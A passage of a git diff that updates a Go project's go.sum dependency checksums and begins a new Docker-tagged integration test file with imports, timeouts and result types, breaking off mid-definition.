h1:EIp+qkEpXoVsyZxXKy0AmXQx0mCHMMcIhXXvNDMpgF0= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/h2non/filetype v1.1.3 h1:FKkx9QbD7HR/zjK1Ia5XiBsq9zdLi5Kf3zGyFTAFkGg= +github.com/h2non/filetype v1.1.3/go.mod h1:319b3zT68BvV+WRj7cwy856M2ehB3HqNOt6sy1HndBY= github.com/hashicorp/consul/api v1.11.0/go.mod h1:XjsvQN+RJGWI2TWy1/kqaE16HrR2J/FWgkYjdZQsX9M= github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -310,12 +328,10 @@ github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1: github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= -github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= github.com/jessevdk/go-flags v1.6.1 h1:Cvu5U8UGrLay1rZfv/zP7iLpSHGUZ/Ou68T0iX1bBK4= github.com/jessevdk/go-flags v1.6.1/go.mod h1:Mk8T1hIAWpOiJiHa9rJASDK2UGWji0EuPGBnNLMooyc= github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126 h1:ly2C51IMpCCV8RpTDRXgzG/L9iZXb8ePEixaew/HwBs= github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU= -github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= @@ -325,8 +341,10 @@ github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/X github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.13.6 h1:P76CopJELS0TiO2mebmnzgWaajssP/EszplttgQxcgc= github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= +github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/knadh/go-pop3 v0.3.0 h1:h6wh28lyT/vUBMSiSwDDUXZjHH6zL8CM8WYCPbETM4Y= github.com/knadh/go-pop3 v0.3.0/go.mod h1:a5kUJzrBB6kec+tNJl+3Z64ROgByKBdcyub+mhZMAfI= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -337,16 +355,14 @@ github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= -github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/lib/pq v1.9.0 h1:L8nSXQQzAYByakOFMTwpjRoHsMJklur4Gi59b6VivR8= github.com/lib/pq v1.9.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= github.com/lyft/protoc-gen-star v0.5.3/go.mod h1:V0xaHgaf5oCCqmcxYcWiDfTiKsZsRc87/1qhoTACD8w= github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= -github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -358,9 +374,11 @@ github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcME github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= -github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= -github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byFGLdw= +github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU= +github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= @@ -382,6 +400,8 @@ github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJ github.com/mozillazg/go-pinyin v0.20.0 h1:BtR3DsxpApHfKReaPO1fCqF4pThRwH9uwvXzm+GnMFQ= github.com/mozillazg/go-pinyin v0.20.0/go.mod h1:iR4EnMMRXkfpFVV5FMi4FNB6wGq9NV6uDWbUuPhP4Yc= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/nwaples/rardecode v1.1.3 h1:cWCaZwfM5H7nAD6PyEdcVnczzV8i/JtotnyW/dD9lEc= +github.com/nwaples/rardecode v1.1.3/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= @@ -398,7 +418,8 @@ github.com/panjf2000/ants/v2 v2.4.3/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OI github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= +github.com/pierrec/lz4 v2.6.1+incompatible h1:9UY3+iC23yxF0UfGaYrGplQ+79Rg+h/q9FV9ix19jjM= +github.com/pierrec/lz4 v2.6.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= @@ -420,13 +441,10 @@ github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8b github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= -github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= -github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= -github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= -github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= +github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/sagikazarmark/crypt v0.3.0/go.mod h1:uD/D+6UF4SrIR1uGEv7bBNkNqLGqUr43MRiaGWX1Nig= @@ -452,9 +470,8 @@ github.com/streadway/amqp v1.1.0 h1:py12iX8XSyI7aN/3dUT8DFIDJazNJsVJdxNVEpnQTZM= github.com/streadway/amqp v1.1.0/go.mod h1:WYSrTEYHOXHd0nwFeUXAe2G2hRnQT+deZJJf88uS9Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.3.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= @@ -463,30 +480,29 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= -github.com/tetratelabs/wazero v1.9.0 h1:IcZ56OuxrtaEz8UYNRHBrUa9bYeX9oVY93KspZZBf/I= -github.com/tetratelabs/wazero v1.9.0/go.mod h1:TSbcXCfFP0L2FGkRPxHphadXPjo1T6W+CseNNY7EkjM= +github.com/tetratelabs/wazero v1.11.0 h1:+gKemEuKCTevU4d7ZTzlsvgd1uaToIDtlQlmNbwqYhA= +github.com/tetratelabs/wazero v1.11.0/go.mod h1:eV28rsN8Q+xwjogd7f4/Pp4xFxO7uOGbLcD/LzB1wiU= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/twmb/murmur3 v1.1.8 h1:8Yt9taO/WN3l08xErzjeschgZU2QSrwm1kclYq+0aRg= github.com/twmb/murmur3 v1.1.8/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq3OSQ= +github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= +github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY= +github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= github.com/vbauerster/mpb/v8 v8.7.2 h1:SMJtxhNho1MV3OuFgS1DAzhANN1Ejc5Ct+0iSaIkB14= github.com/vbauerster/mpb/v8 v8.7.2/go.mod h1:ZFnrjzspgDHoxYLGvxIruiNk73GNTPG4YHgVNpR10VY= -github.com/wasilibs/go-re2 v1.10.0 h1:vQZEBYZOCA9jdBMmrO4+CvqyCj0x4OomXTJ4a5/urQ0= -github.com/wasilibs/go-re2 v1.10.0/go.mod h1:k+5XqO2bCJS+QpGOnqugyfwC04nw0jaglmjrrkG8U6o= -github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52 h1:OvLBa8SqJnZ6P+mjlzc2K7PM22rRUPE1x32G9DTPrC4= -github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52/go.mod h1:jMeV4Vpbi8osrE/pKUxRZkVaA0EX7NZN0A9/oRzgpgY= -github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw= +github.com/wasilibs/wazero-helpers v0.0.0-20250123031827-cd30c44769bb h1:gQ+ZV4wJke/EBKYciZ2MshEouEHFuinB85dY3f5s1q8= +github.com/wasilibs/wazero-helpers v0.0.0-20250123031827-cd30c44769bb/go.mod h1:jMeV4Vpbi8osrE/pKUxRZkVaA0EX7NZN0A9/oRzgpgY= github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.1.2 h1:FHX5I5B4i4hKRVRBCFRxq1iQRej7WO3hhBuJf+UUySY= github.com/xdg-go/scram v1.1.2/go.mod h1:RT/sEzTbU5y00aCK8UOx6R7YryM0iF1N2MOmC3kKLN4= github.com/xdg-go/stringprep v1.0.4 h1:XLI/Ng3O1Atzq0oBs3TWm+5ZVgkq2aqdlvP9JtoZ6c8= github.com/xdg-go/stringprep v1.0.4/go.mod h1:mPGuuIYwz7CmR2bT9j4GbQqutWS1zV24gijq1dTyGkM= +github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 h1:nIPpBwaJSVYIxUFsDv3M8ofmx9yWTog9BfvIu0q41lo= +github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos= github.com/xinsnake/go-http-digest-auth-client v0.6.0 h1:nrYFWDrB2F7VwYlNravXZS0nOtg9axlATH3Jns55/F0= github.com/xinsnake/go-http-digest-auth-client v0.6.0/go.mod h1:QK1t1v7ylyGb363vGWu+6Irh7gyFj+N7+UZzM0L6g8I= github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d h1:splanxYIlg+5LfHAM6xpdFEAYOk8iySO56hMFq6uLyA= @@ -513,6 +529,10 @@ go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqe go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +go.yaml.in/yaml/v2 v2.4.2 h1:DzmwEr2rDGHl7lsFgAHxmNz/1NlQ7xLIrlN2h5d1eGI= +go.yaml.in/yaml/v2 v2.4.2/go.mod h1:081UH+NErpNdqlCXm3TtEran0rJZGxAYx9hb/ELlsPU= +go.yaml.in/yaml/v3 v3.0.3 h1:bXOww4E/J3f66rav3pX3m8w6jDE4knZjGOw8b5Y6iNE= +go.yaml.in/yaml/v3 v3.0.3/go.mod h1:tBHosrYAkRZjRAOREWbDnBXUf08JOwYq++0QNwQiWzI= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -595,8 +615,9 @@ golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qx golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= +golang.org/x/net v0.33.0 h1:74SYHlV8BIgHIFC/LrYkOGIwL19eTYXQ5wc6TBuO36I= +golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -703,14 +724,15 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc= -golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc= +golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= -golang.org/x/term v0.20.0 h1:VnkxpohqXaOBYJtBmEppKUG6mXpi+4O6purfc2+sMhw= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= +golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= +golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc= golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -922,8 +944,9 @@ google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQ gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/ini.v1 v1.66.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= @@ -953,5 +976,5 @@ honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E= -sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY= +sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= +sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= diff --git a/integration/service_template_docker_test.go b/integration/service_template_docker_test.go new file mode 100644 index 0000000..1e9048f --- /dev/null +++ b/integration/service_template_docker_test.go @@ -0,0 +1,393 @@ +//go:build docker + +package integration + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + "time" +) + +const ( + commandTimeout = 5 * time.Minute + probeTimeout = 30 * time.Second + cleanupTimeout = 90 * time.Second +) + +type zombieResult struct { + Extracteds []extracted `json:"extracteds"` +} + +type extracted struct { + Name string `json:"name"` + ExtractResult 